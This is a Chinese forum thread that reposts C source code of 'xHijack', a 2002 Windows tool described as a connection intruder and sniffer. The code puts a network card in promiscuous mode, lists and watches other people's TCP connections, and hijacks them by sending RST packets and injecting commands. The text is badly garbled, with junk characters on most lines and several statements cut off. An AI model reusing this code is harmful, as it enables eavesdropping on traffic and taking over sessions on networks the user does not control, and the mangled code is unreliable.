  g_pCurrCtrlConn = NULL; . V( L3 o4 j9 R% h
  g_dwAction = ACTION_NONE; 6 {$ R, r+ j; E1 J
}
0 a8 x$ e6 `' b5 Y) C3 y, H! f' l. L
// " y! m3 a7 I6 I& e: \( G' ?
//功能:处理Ctrl+C和Ctrl+Break事件 2 Y& A! [+ B8 L  p$ d+ t6 t
// & H! {& |, U8 B$ {; h
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
; G3 \* P5 N# }, w% Z; I{ : h" S& A' c0 J- R5 O2 [
  switch(dwCtrlType)
( T: ?: x7 u- d6 N  a* w  { 6 t% K  U0 y. ^" F" X
    case CTRL_BREAK_EVENT: / h. K0 X  P% y% X7 R4 r+ D6 R
      //reset action all flag 7 ~" ~/ l9 Q, M! F/ O8 q
      ResetActionAllFlag(); 1 C6 X( D- Q& L! {) P
      break;
" g# Q* W" f  E; [* @" d2 k    case CTRL_C_EVENT:
3 \6 V; z7 j4 Q! P& z4 _      //terminate all thread
2 X; H8 o0 D5 v      TerminateThread(g_hThread[0], 0);
1 Z% i4 g/ Y- x- z: T4 l      TerminateThread(g_hThread[1], 0); , t; y9 J+ c, o( D
      TerminateThread(g_hThread[2], 0); $ u* X: H# B" c" T& k. |
      TerminateThread(g_hThread[3], 0);
! o3 y: i" M5 W2 G      break;
$ ?( q" ^) q- k  T0 t6 h9 c  P. z    default: ) l+ e! G, Y' {
      break;
% |) K: h0 _6 K# d0 B5 x  } 5 ~" m& {# q; ?. w
  return TRUE; 1 H3 A9 {# e& J
}
7 Y; w+ \0 n+ d0 Q( J$ g  ^
% o5 E8 O1 o- x; ^% Y% m9 l$ R" o) G4 @9 m//
, X$ J; h3 {% k/ U" o/ @//功能:处理用户输入 6 G0 q5 ]: V$ G
// 8 @. p# |) i; t4 Y
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos) 1 l" x$ j9 F! _3 L
{
/ h+ \  C$ u7 z2 F; N# p5 V. U  DWORD  i;   r' O% ~) ?: w
  char  szBuff[16]; 0 B  o. O" ^: X

* e; M' D+ |% R7 w  *lpCommandPos = 0; , F" S0 u# ]. l$ M1 e7 X2 b4 o; K
  for(i=0; i<15, i代码比较乱   o: T% V. X, y5 X; F, `, M
// , F8 E! R; ^  f7 [
DWORD WINAPI InterfaceThread(LPVOID lp) 7 P' J& S, _7 q$ m! J# L! e4 L" P
{ , d8 D/ g0 d# k4 c/ w  e
  char  szHelp[] =  "l\t\t<-- List all connections\n" 9 h0 W5 P! V: c; g
            "r x\t\t<-- Reset the number x connection\n" : n# h  d) ~) ?+ m  b/ u) O4 r3 X+ L
            "w x\t\t<-- Watch the number x connection\n" . _- I4 Y# a. r; I1 A; q) x
            "h x command\t<-- Hijack the number x connection to execute command\n" / u# {$ E. Q( W4 Y7 U
            "[Note]\n"
- k$ k- H. @- H' F. s/ W9 |9 o            "Ctrl+Break to clear all action\n"
' F) C7 b! T* p, v! e' G            "Ctrl+C to exit\n";
, V/ l3 `% J+ c5 _6 G- Y6 Q  char  szPrompt[] = "\nxHijack>";
, M$ U9 T6 i  j  char  szBuffer[128];
! s! \3 L* S4 N. e& T  DWORD  dwPos;
/ _2 [* R; {" t6 ~3 F# s  PCONNINFO  pTmp; 1 F& _9 ?# M/ L7 r% Z8 }

" T% G4 Z# q+ `+ ?6 @  while(1)
- `5 C  c' f% h/ H! |" Y  { ) R' M% C; w9 |
    gets(szBuffer);//不考虑buffer overflow + ]) f5 u& \6 ~
    switch(szBuffer[0])
$ F4 P: X$ J6 p$ |' T7 |% Y    {
$ Y: q  |" A& l      case 'l': & a) R# b3 x* b
      case 'L': % g! n) t( V# y. {
        ListAllConnection(); ! h5 X; ~/ X, v1 Q4 Q5 E
        break; 6 f! `5 y+ o( b* C# [& F3 ]
      case 'r':
2 }  p2 i) j% }      case 'R': $ r# y% r  K5 [
        if(strlen(szBuffer) >2) # H8 e( R5 W+ @  {1 O
        { " V, ~" l) A( w
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); ) g2 B7 y/ |1 v% ^1 y9 e7 C0 K
          g_dwAction = ACTION_RESET; ' Y2 e+ G" T: J' L4 W* @" ?
        } " B1 T4 X( t: E- C( J$ h
        else printf("%s", szHelp); + R1 p; K  I2 Y- }% M2 P
        break;
  N+ }" M0 H8 f' I: n4 D2 W      case 'w': 9 q8 r  Q, f, k
      case 'W': 6 A# k% l3 q) T4 [7 _0 S/ d: t
        if(strlen(szBuffer) > 2)
9 y5 {' \* S( M2 r) L        {
5 E: y* {9 D. |! L          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
+ l% M  d5 k# u2 h) n+ B          g_dwAction = ACTION_WATCH; " K0 X# E7 F- _* [0 ?
        }
# P2 O2 G9 }' D% R        else printf("%s", szHelp); ) w' R0 e0 h6 R8 f* x
        break;
* z4 D3 \* N. Q      case 'h': & B, q* x* L8 d  l1 B
      case 'H'://h 1 xxx
" u8 `1 ]% f& P8 y        if(strlen(szBuffer) > 5) , T8 g0 e9 _  d- Z' Z, m
        { 8 ^: I" J3 b& b2 `  l
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
6 o) S1 @, Q4 _% x% ]          //如果command第一个字符是'或" : n4 }, A, g$ p5 u  Z$ I+ a4 Z& d
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) ) n# z( I( o5 W9 H
          { ( F# v: y. o* N7 E- O7 r' S
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
0 a/ @" B8 M/ z- b5 ^            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" , l0 n# k0 I! S! l
          } 4 s. i+ d, p' l" e$ U
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
- ]/ X6 ?( m# B. U9 _/ Z          strcat(g_szCommand, "\x0D\x0A"); / w5 Z! k: }6 K& l' S$ e1 D$ Y
          g_dwAction = ACTION_HIJACK;
/ Y! a( o& v" v5 O  q/ T        } , R8 J  c  I8 t  @1 t6 S
        else printf("%s", szHelp); % _- I  U3 T0 `3 m& e3 L- [
        break; 8 [* W% |5 g3 S( g
      default:
: ]+ I% j1 B/ s, T        printf("%s", szHelp); ( [  }$ E, i$ v! Z
        break; # a8 m/ b1 U8 @; ]
    }//end of switch
$ x0 X( e# a: Q/ C7 a    //find the specify ident's struct point 3 \5 t& _8 c  U4 {7 o4 N9 m
    if( (g_dwCtrlConn) && (g_dwAction) )
2 q4 {' v+ X/ v    { " l6 J& R5 g8 N
      g_pCurrCtrlConn = NULL;
' X2 O% [) N4 s6 v8 p5 h      pTmp = g_pConnHead; - L0 C" Z6 T4 i3 K/ v
      while(pTmp)
) A9 B) Q( g2 u% W6 g1 f; d      {
6 W" c: D' Y6 `' J* d# u        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
0 j) z( |& r6 W: E        {
: ?& ^2 _6 D( a4 V3 ]          g_pCurrCtrlConn = pTmp; . t4 f9 U- u1 i0 [  Z
          break; " ?9 G. ~' l/ C3 h5 z
        } / c7 k& x5 F6 l! M2 r& ?5 t$ B3 V. T
        pTmp = pTmp->Next;
+ q# ]/ m( f0 v2 ]2 ]  J1 k0 D' B      } 8 Z/ I  N, {$ C( ]/ I, j
      if(!g_pCurrCtrlConn)
* y8 H; g6 H. ^, z, ~1 o0 B3 C      {
' I- B6 i2 t- u        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
) u: u* d" ^( i& r: q6 h7 q1 l        //reset action all flag + x- d9 C- E! v1 d+ B* X
        ResetActionAllFlag();       # U- ?: t; D; H2 S% B1 o# C
      } 8 N2 q) u' l% G/ M5 E5 D' P
    } 4 f' L. L( M. W
    if(!g_dwCtrlConn) ResetActionAllFlag();
& I  |' O/ ]% y0 g; a    //显示当前用户所期望的动作 * v! J8 @" B- Z% m2 p* F6 Q
    printf("\nCurrentAction:"); . S7 |& s, \0 g7 k: i
    switch(g_dwAction) 5 b* Z' v6 Y9 o9 i
    {
( |8 {4 n1 y# d      case ACTION_WATCH:
- I( I8 U. j2 @        printf("ACTION_WATCH"); 1 e0 ^! g- A: Z; N6 D  n+ a) K
        break; * i% a. b. q8 [7 I
      case ACTION_RESET:
5 q- s0 ?6 P0 k# z        printf("ACTION_RESET");
) Y7 r+ Q8 e& O" O3 w9 Q( o8 `        break; $ }/ I" h& b1 b$ A! w
      case ACTION_HIJACK: 7 s4 z6 `+ v- Q& X
        printf("ACTION_HIJACK"); / ~9 h7 j: x% _# j
        break;
$ x  V. c7 l' G6 x7 f      default:
( h- d1 _7 ]9 z4 b. r3 i( _  |        printf("ACTION_NONE"); 9 ]* Q7 U# F7 o
        break; & B) p9 i3 M6 ^4 `9 c
    }
. `, L. Z5 [0 \! g: h    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); 9 \, j  s7 `* B2 o0 A0 W
  }//enf of while / p1 O' x  J9 W) I; E# x1 I1 M
  return 0; 0 ?; V( R! ^; f3 x! j
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// " n8 Q( V) y4 g! N8 z //功能:列出当前所有连接 " f) n; K" j/ z// + b5 r3 W5 M4 m. t# J- rvoid ListAllConnection() # R9 x4 U& c3 c+ S2 v6 h& [{ 7 J& x8 y& G0 W; `2 k3 t; G PCONNINFO pTmp; ; r: Q3 x, u* k" v4 o* Q SOCKADDR_IN saDest, saSource; 0 [# ^* O3 S) K pTmp = g_pConnHead; 1 ~4 e' D: S% \ while(pTmp) & e5 W8 N9 k5 g/ q5 @ { : c6 b& O2 B. _2 {1 s1 j if(pTmp->bActive) B5 r7 _+ S9 ?# u$ F { 2 s- n* Q* w% G+ ?! Z- A' J saSource.sin_addr.s_addr = pTmp->dwServerIP; 5 T7 {1 [. {7 J7 ~: Z: @$ X. d saDest.sin_addr.s_addr = pTmp->dwClientIP; . Q7 Y! D- N. d printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), " _2 P4 {$ f8 M3 O3 z ntohs(pTmp->uServerPort)); 3 c& g2 N/ D. w$ @ printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 8 M, }( J+ N! P+ { } 2 F G& R- u! L# z9 w' l pTmp = pTmp->Next; 1 Q' L* a, {5 E# K/ J" x } 5 Y0 H$ D* G" N } , u' a$ n1 d$ _/ t+ a$ Q # r' K6 ^8 y" Y3 h9 r- O3 u3 W0 U6 s* m// 6 z8 P1 E: P1 u8 u/ f1 b: M//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 2 y0 x1 S# l: h! q! F) D& v( |1 ^// 7 x( i; C' q/ ZLPADAPTER InitAdapter() + |8 k8 v5 |& u { * ]: O# L& k* h6 M8 i" }0 R8 [ LPADAPTER lpAdapter; # y" L! O% \5 Z* q4 i! D+ X7 V8 Y8 J static char AdapterList[Max_Num_Adapter][1024]; 8 {1 a" E: n# e& u9 n% Q char szSelectAdapterName[512]; 7 l, {2 w% ^; {. O" `# Y+ S5 o8 L WCHAR AdapterName[2048]; 4 N# L& l6 Z- }' E WCHAR *temp,*temp1; q# G% D: _% Z) k2 V3 y ULONG AdapterLength = 1024; 0 y( B8 ~, H4 c5 {7 z! r' l int iAdapterNum = 0; 7 g% \) B, g- `" f$ F' U int iRetCode, i; 8 N- A& n3 s1 R. R8 U4 k& z int iAdapter = 0; 6 {4 y7 ^. P9 v0 k! { ULONG ulLen = 0; 8 {- f8 Q! ~: _ DWORD dwRet; ! a- h9 ?8 z% s s/ T1 R PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 4 o/ p. C8 `4 f' b8 |% Z3 O( y PIP_ADDR_STRING pIPAddr; 7 r3 _% x. m; c' I8 n% u ) _- @! z, _. \9 f //Get The list of Adapter ) u/ ]1 H) h* M if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) $ j$ C" M2 ~% z# V" R4 n { : Q( b6 _2 g8 K5 l0 x% q9 x printf("Unable to retrieve the list of the adapters!\n"); 1 u" f4 W$ V' U( S4 K return 0; " G0 ^1 S! @1 H+ p7 t } 0 j6 x9 G, q6 |* u! ^ temp = temp1 = AdapterName; 4 L& H+ w$ J" a& I; }% z i = 0; & f# A! d+ l% o) I while ((*temp != '\0')||(*(temp-1) != '\0')) 4 M0 ^1 c# g: K3 w& _+ ` { 4 T: z( F0 ^$ S. v& Z if (*temp == '\0') - S" e2 a1 O1 I0 }# X { ( V1 r) o$ O9 V# l ~. { memcpy(AdapterList,temp1,(temp-temp1)*2); 9 L; J @4 }4 ^! e6 m: T; V printf("%d - %S\n", i+1, AdapterList); + q" ~# U' c" r# _2 F* Q temp1=temp+1; W- t( D! X* X" n i++; / c! f" ?2 N% z } ; y; P) D1 d+ H( W$ F' Q temp++; - M' {) v) v6 ]" e$ D, R+ t } 2 e8 ?; X$ {+ s0 j: q6 s3 V) [ //choose adapter 6 u- ^1 [. g% _& C while((iAdapter <= 0) || (iAdapter > i)) 4 b* I7 Y' |; C0 h- ^ { x4 p) z1 u1 ~3 _ printf("\nPlease choose your Adapter:"); s2 r4 r3 L2 x5 w+ J scanf("%1d", &iAdapter); 4 M( l1 N5 J: ?- U3 \# ~- f } ' E4 w7 z) V# {2 l$ ?7 x% @ printf("\n"); : Z; P& }4 V4 l* Y7 v1 F //---------------------------------------------// / w5 m! F2 A; x. k //这里调用iphlpapi来取得本地ip_addr和mac_addr x# O& I2 ~* B. Y! G; H. J" l sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ! N0 n8 z( o" Z; [% q) Y5 ~ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); * `7 J( s; R5 M5 F0 \4 |6 p! ~ if(dwRet != ERROR_BUFFER_OVERFLOW) % x& h- [3 t3 S! R3 Q { 2 S! X6 p1 G5 c4 @& d" j$ c" t printf("GetAdapterInfo error:%d\n", GetLastError()); , {. p7 C ~, ^4 D& `: T) ~! k return 0; " E" x) P) g3 h } 0 S& I' m/ ?, s. q B D* X pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 8 B. v$ U: e$ i" [ v8 ] if(!pAdapterInfo) * D' [6 |! ^. H/ m { ) d6 D, @2 S6 [: e: k2 Q i printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); V2 [$ G/ [$ I/ v( N* h) ? return 0; 7 Y. H" x: \( I+ k! C- ^ } + y, h- i! h1 `0 ]( W+ _ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); / \' ^& p! T6 s2 Q if(dwRet != ERROR_SUCCESS) y4 m! |8 [) L" A/ m5 \ { c2 B$ H$ r" O+ l' a printf("GetAdapterInfo error:%d\n", GetLastError()); 1 S8 S: B9 _) l return 0; ' @7 u A/ U# O1 N8 W } 2 @& @2 s* d, d; r" f$ u pTmp = pAdapterInfo; ; g! @% x; f/ t8 L5 w; \- J8 a while(pTmp) : h+ L8 s! h" B { " [" @" j5 i, A+ d! h) L% V% z //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) ' a5 N, G- y) z! \2 a2 W { " m8 `* _4 X6 x; x3 g; U% G1 x //found it,get own adapter mac address 4 P) [& P% W/ I2 e' U F/ N memcpy(g_szOwnMAC, pTmp->Address, 6); 0 Z! Y, r5 p5 z //get ip address 8 k0 ?* U4 Z9 v* K7 E9 Q3 ] pIPAddr = &pTmp->IpAddressList; 2 K8 N) }* q) W- G. S3 h while(pIPAddr) 1 v8 S: J0 P0 b$ } { ( D% |; O# d1 e- l) s" A g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 2 h7 U$ c7 x* u6 Q! l$ S pIPAddr = pIPAddr->Next; + i/ P1 u1 c) D% ]2 j+ c2 S4 p# h if(g_TotalIP >= Max_Num_IPAddr) break; : N0 s9 g; Z p } 3 j) \0 f! r, q% w0 Q break; / _2 n1 S# q+ \( j' g } 8 B) M/ L* H* o% q/ K: N pTmp = pTmp->Next; 2 I, Y% a" ? k9 \3 G } w* p$ N3 L3 f3 u, }& C% C3 k free(pAdapterInfo); 8 ^& F: G$ a2 _ g* D. l& J //not found,return zero ! q+ [+ g2 T4 u: c9 w; ?8 k if( (!pTmp) || (!g_TotalIP) ) return 0; 4 M) z& ?. b a2 g. q1 O- A0 O //---------------------------------------------// 2 h. j/ B) G, L //open adapter ' g# z* S+ l' D: m& ?; W# K5 ]7 s lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); % z# t2 X) `3 r. f. r$ e if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) $ f# l- p, k; e; }$ U" D { 5 h7 Z( p# } H. j& p iRetCode = GetLastError(); 4 a% ~- b! J4 s1 e: O printf("Unable to open the driver, Error Code : %lx\n", iRetCode); % `& A& u6 e* Y( A3 s return 0; $ g2 I5 I7 Y2 t& ]" u } g l& b; y2 B2 E7 Q) h // set the network adapter in promiscuous mod - ^2 W- O9 f5 x# L if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 4 a4 ^! w0 h+ Y G8 r3 ^ { & G% t P3 T/ Z% ~ p# Z printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); r) E6 ^; M8 Y5 [ if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) , ~, h5 A! P2 b+ ?. L5 ^7 m { 8 J: r" @3 q% w% m printf("Unable to set ALL_LOCAL mode!\n"); 8 F8 f0 S- T: V return 0; . m. y5 t6 z1 K$ O4 Z8 V } + P; m. s" `* i% j+ z } 4 g* m# F0 x) M4 M, Z3 B' x // set a 512K buffer in the driver 2 m0 v$ Z* K/ U7 G9 W0 {; ^8 @8 D if(PacketSetBuff(lpAdapter, 512000) == FALSE) 6 s7 b( a/ E9 e" h0 P, w% X { 6 F+ D2 A j) n" ~3 ~) g& \# u. }& P printf("Unable to set the kernel buffer!\n"); ' q( O- Z% t O% k' k- K$ C return 0; ) \ c g0 N) R! z+ }5 H } . T8 ?0 \6 m% ~- w // set a 1 second read timeout 5 R1 W: j) t& P( ]5 O if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 3 y, C% z2 s& a& G' |) r& W printf("Warning: unable to set the read tiemout!\n"); ; R7 i: ]+ V6 `3 b$ W if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 6 A7 c. @0 m. K3 C1 A printf("warning: Unable to send more than one packet in a single write!\n"); 8 g2 N4 u) u# M4 o. ^/ y //设置发送的packet ) H% j, \# k* M3 B g_lpSendPacket = PacketAllocatePacket(); & A3 |) ?; ^" X X) B4 ^/ F if(g_lpSendPacket == NULL) % j2 `% R" k3 _& V { " X5 ?+ W- X7 e6 Z, @ printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); F) z: m9 [2 |5 x6 L+ [& O return 0; _6 A6 O* o* C9 A; d" O. {+ Q } 4 a0 p; }4 m6 } w5 o1 o6 j' e+ n! }! x ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); $ ]. V/ ^# `- X PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); 6 k! }& T% A0 n+ s return lpAdapter; " d# L. S' I1 q* g; J/ t" l5 { } # x9 V4 G3 ^9 T " c3 V0 @6 _3 e, [& {6 H//功能:帮助信息 7 G! q: ~5 ~% ~$ f void usage() / p: u2 r0 R6 h! R4 ] { 0 k4 X% c9 P6 i/ U printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 4 Z' _2 u* O$ Y "By eyas 2002/8/19\n" ! w/ }( O6 m8 ]; Y) G "http://www.ey4s.org\n" # \6 w0 W2 a" f1 p$ O) T9 h. q "Thanks to Refd0m and shotgun\n\n" ' N& R$ U, U, d, d "Usage: xHijack ServerSide ClientSide\n\n"); % }+ k# y' w* i- [4 a: p} 9 r! H+ S$ j% f o 0 y! f: v7 M: |- x9 g: `// ?" n/ e @" [ x: e3 r3 y9 R* ?//功能:显示数据包的一些详细信息 + Y) _3 C8 o! Z; t) ]// 9 u/ O2 g8 j# v. o; MVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) . _$ C: o- f1 h( J# F: G! |1 @; w{ , }7 U/ @6 R/ f1 c7 p e SOCKADDR_IN saDest, saSrc; 4 }3 i* k! N+ e) l unsigned char FlagMask; ) |- S R$ m" E# f3 ?' ^ int i; & E% ^1 w( P7 R5 ]$ J5 _* }7 O$ u / R3 r1 E8 ^9 o1 U saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; 7 T7 }) _: C/ [. F. b saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; ; a/ {/ s' a: P' \- d ] printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 8 e9 F; J8 J" a0 ?* n printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), . H: h5 P0 C. A: ` ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); * Z8 ]% F; F' G9 S9 |6 n! _ //display TCP flag . E" u* w6 Z1 j( `5 K0 d for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) . w' }0 ^! p9 q" v/ a { ! e2 d F+ c; j& { if((pTCPPacket->tcphdr.th_flag) & FlagMask) " b$ v# u% R$ L( |4 Y0 i! s printf("%c", g_szTcpFlag); 2 M2 n* X" v% w" @& ?( B1 D- c else printf("-"); ( }, \, U* u4 C! y$ m1 U } , r6 s/ \, @/ M' h$ t printf("\n"); ; O A) @" z( Z0 N //如有需要,可显示更多详细的信息 # C* j2 S1 [( S: U" R4 \ if(bDetail) / ?! _% X( Q- L3 ` printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ( J+ @; m9 W7 X+ {1 y# H } / f- ]# R" l9 K' F3 ?2 K 6 {9 R; e2 w$ l `# k. b// - V9 u( [& F& r: D/ h //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 6 w4 v7 ?% O' t, F# i$ b/ K$ ] // ( i' X% o h4 A3 S) _* s9 {DWORD WINAPI AnalysePacketsThread(LPVOID lp) 1 b- S+ j j& e' p. I& ^ p{ * K( N4 p% C( g6 d- Z ULONG ulBytesReceived; ; E( u2 P9 i9 i9 q% O( V% z USHORT usDataLen; : H/ l) ~) C9 c5 Z //USHORT usIPHeadLen, usTCPHeadLen; 5 C% n% K# z! D6 a4 Y' p char *buf; % j0 l# ?1 `% V8 ~" j: y u_int off, i; ( b$ O6 i, Z. ^. C" a" d PTCPPACKET pTCPPacket; " _. ^% N2 C: J$ }0 S( l4 W struct bpf_hdr *hdr; ' {8 l4 p7 ?/ s) r LPPACKET lpRecvPacket; * K; f9 o& m$ c7 @' C3 q( A char szPacketBuf[256000], *pStr; 5 v2 V3 A+ g) B% o1 R9 u BOOL bDeleteNode, bAddNew; * N9 K0 |7 z# \% b. M DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 6 w7 w1 J6 A. ^ R; W BOOL bClientToServer;//数据包是否从客户端发送到服务器端 5 M2 I& c6 i+ N: L" E1 G* M( v5 k+ }; v( u //设置接收的packet $ f S4 x; ?% x1 ^ ]/ c, L lpRecvPacket = PacketAllocatePacket(); 0 C3 I% b/ {. y if(lpRecvPacket == NULL) ' y5 C( t0 G. p { . O1 f! d* q: {7 V printf("Error:failed to allocate the LPPACKET structure for recv.\n"); & a" ]# A- \2 d9 x return 0; * ?! Q5 l1 H' A( L } 6 Q$ n2 }9 B) v* F' w: k7 q9 t4 ` ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); / t: o8 H% ?, J3 H' s4 y PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 7 U& a- g1 D3 J; S0 y% c while(1) 6 S, G, l' j8 W( c+ |4 {0 K5 f { / v1 P3 O3 A0 {: }& H // capture the packets m9 [- O( j. n, h' H) { if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) / n/ {+ o9 V: \1 V8 d& f5 |2 W { 4 u+ m3 D2 L& I! o# { printf("Error: PacketReceivePacket failed.\n"); $ q `9 n1 e- d- W break; / ^: b# [( r1 O( \. u4 S% j' ? } / M) u: I. {% u& X7 T/ h O ulBytesReceived = lpRecvPacket->ulBytesReceived; : [! ]3 P( @' P1 {" n- g; k buf = lpRecvPacket->Buffer; / Q6 {6 Q, w' E6 K1 D off = 0; 8 L2 f% s9 w) h# }! t while(off < ulBytesReceived) 8 }8 ]' L- }; Q, ] { " Q1 \# G0 n& C/ k; E hdr = (struct bpf_hdr *)(buf + off); 5 R. ~0 p) Z$ w# q5 b off += hdr->bh_hdrlen; ; Z# G+ T# x( z i pTCPPacket = (PTCPPACKET)(buf + off); 4 X: F% h1 l0 ~( y, G, {" q5 T off = Packet_WORDALIGN(off + hdr->bh_caplen); 6 w1 D! b X0 k- U: T. p2 h //不需要处理自己发出的包(转发或本机发送的) ( m" \0 Z+ A7 V if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; : I G) K6 G ~1 m; E //检查是否IP包 5 C! K, M) m' ?& C8 l; L, b) ? if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; : H6 M- K: ]% c" r/ x //检查是否TCP包 3 D, Y* _3 j. @0 Y% F' H8 ` if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; 6 ?- y0 y: Z/ l5 i //也不处理DestIP是自己的包 6 v% n% G% L ?4 f: h7 X for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); % p8 T8 y0 M+ V, \
            //reset action flag $ t7 d( g8 p+ a& Y. c1 y' I
            ResetActionAllFlag(); , U+ r1 c( y0 w/ ]
          }
2 d1 q9 ^: Z6 F: p. }          //start hijack 3 c( T' b$ f& R
          else if(g_dwAction == ACTION_HIJACK)
* T& ~) ]  J; X' x: r5 s          { 6 h( }3 p. d& l
            //send rst packet to client
" }3 _( p0 P- t5 \6 u4 d            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); % N4 {0 V9 ?; V1 [
            //send hijack packet to client / i% u" ^! p4 _3 ^
            SendHiJackPacket(pTCPPacket); , ]" x' J0 F- e( G9 f) f
            //reset action flag
+ g  ?- L- Z6 i) ~% x& a            ResetActionAllFlag(); ! {. n1 a7 M8 n* l! ]
          }
8 g. w- `- l6 G7 I, u        }
6 }" h, M& f% s& V6 N. S, L  f, p0 {        //show the tcp data
: ~) L+ A4 a' J1 \% `, O. N        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) - m' x7 l9 y- z9 c7 Z
        {
. D( E; {/ H- M. U" ]( w: H          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
2 l0 z* [& }$ E- W          //暂不考虑IP、TCP头不是20字节的情况 ! G8 m) _) V9 ?. V) z* x
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
! J' h7 P' v4 u% T4 s* Z% \; k          pStr = (char *)pTCPPacket + 54; ' d7 j6 `0 M2 f1 ~2 B  `
          for(i=0; i        } 4 g" V- D, a- h( `6 D' B9 I9 {# B
      }
' ^4 c3 n1 D" R! g$ w      //debug output
$ h) Y% J7 |# k. S      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
% B. o! p8 ]2 Q" _    }//end of analyse packets while
$ m( u% j7 F6 e  }//end of recv packets while ) c" e6 ^, H+ h/ V+ C" }$ k: E8 ]
  PacketFreePacket(lpRecvPacket);
& l$ B1 f- k/ S+ g* X  return 0;
% K# r5 C4 B, F$ p}
! }, w7 F. L) x( q+ H" B' k( _/ Y( o8 M: L( Q$ h9 _

* T9 n% O8 i( L# C7 X9 ~& m// ' i  U" k& ^! J, @
//功能:操作记录所有连接信息的单向链表
" `+ N' ?8 Z* H8 G# Z//
' a. a5 i3 j7 ^* D3 D( BDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
: `7 N7 h8 k& B            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
0 {. h/ [. L) K8 D{
1 R: f) [0 y" J1 Z  PCONNINFO  pNew, pTmp; - k  k+ I9 f# {$ G# W

+ T+ s) Q: @* d- z  pTmp = g_pConnHead; / v& ^, i  h# E4 M% J7 `# `- ?
  while(pTmp)   X4 Q  `- N5 a; g$ y! Q# @- _
  { ( w5 r7 a& ]  q4 Z3 R( N9 H3 k5 z
    if(pTmp-&gt;bActive) 5 x% p' A3 ^: C1 @$ w  u" I0 C9 o5 w
    { 0 q. l5 q* o/ V8 |/ D
      //found it % y% l- k( l9 [
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp; & k: W9 g9 ?. _3 T% N: r/ S1 I
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
/ _' X5 }1 v; ^2 [. T& z        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
